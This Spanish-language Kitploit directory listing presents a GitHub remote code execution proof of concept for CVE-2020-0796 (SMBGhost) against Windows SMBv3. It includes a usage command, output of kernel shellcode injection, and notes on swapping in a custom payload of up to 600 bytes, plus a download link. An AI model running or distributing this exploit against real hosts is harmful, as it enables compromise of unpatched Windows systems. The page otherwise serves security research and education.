Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-0796-exp — Prueba de concepto de explotación de ejecución remota de código para CVE-2020-0796 (SMBGhost) dirigida a Windows SMBv3. Incluye inyección de shellcode en el kernel mediante manipulación del heap y corrupción de la compresión LZNT1. | Kitploit
Herramientas/GitHubGitHub/lisinan988/cve-2020-0796-exp
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHublisinan988/cve-2020-0796-exp

CVE-2020-0796-exp

Prueba de concepto de explotación de ejecución remota de código para CVE-2020-0796 (SMBGhost) dirigida a Windows SMBv3. Incluye inyección de shellcode en el kernel mediante manipulación del heap y corrupción de la compresión LZNT1.

Ver Repositorio
4hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SMBGhost_RCE_PoC

PoC de RCE para CVE-2020-0796 "SMBGhost"

¡Solo con fines de demostración! Úsalo únicamente como referencia. En serio. Esto no ha sido probado fuera de mi entorno de laboratorio. Fue escrito rápidamente y necesita algo de trabajo para ser más fiable. A veces obtienes un BSOD. Usar esto para cualquier propósito que no sea la autoeducación es una idea extremadamente mala. Tu ordenador arderá en llamas. Los cachorros morirán.

Ahora que hemos dejado eso claro...

Ejemplo de uso:

root@kitploit:~
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

Reemplaza el payload en USER_PAYLOAD en exploit.py. Máximo 600 bytes. Si quieres más, modifica tú mismo el shellcode del kernel.

Código lznt1 de aquí. Modificado para añadir una función de "compresión deficiente" que corrompe la cabecera del búfer de SRVNET sin provocar un bloqueo.

Descargar herramienta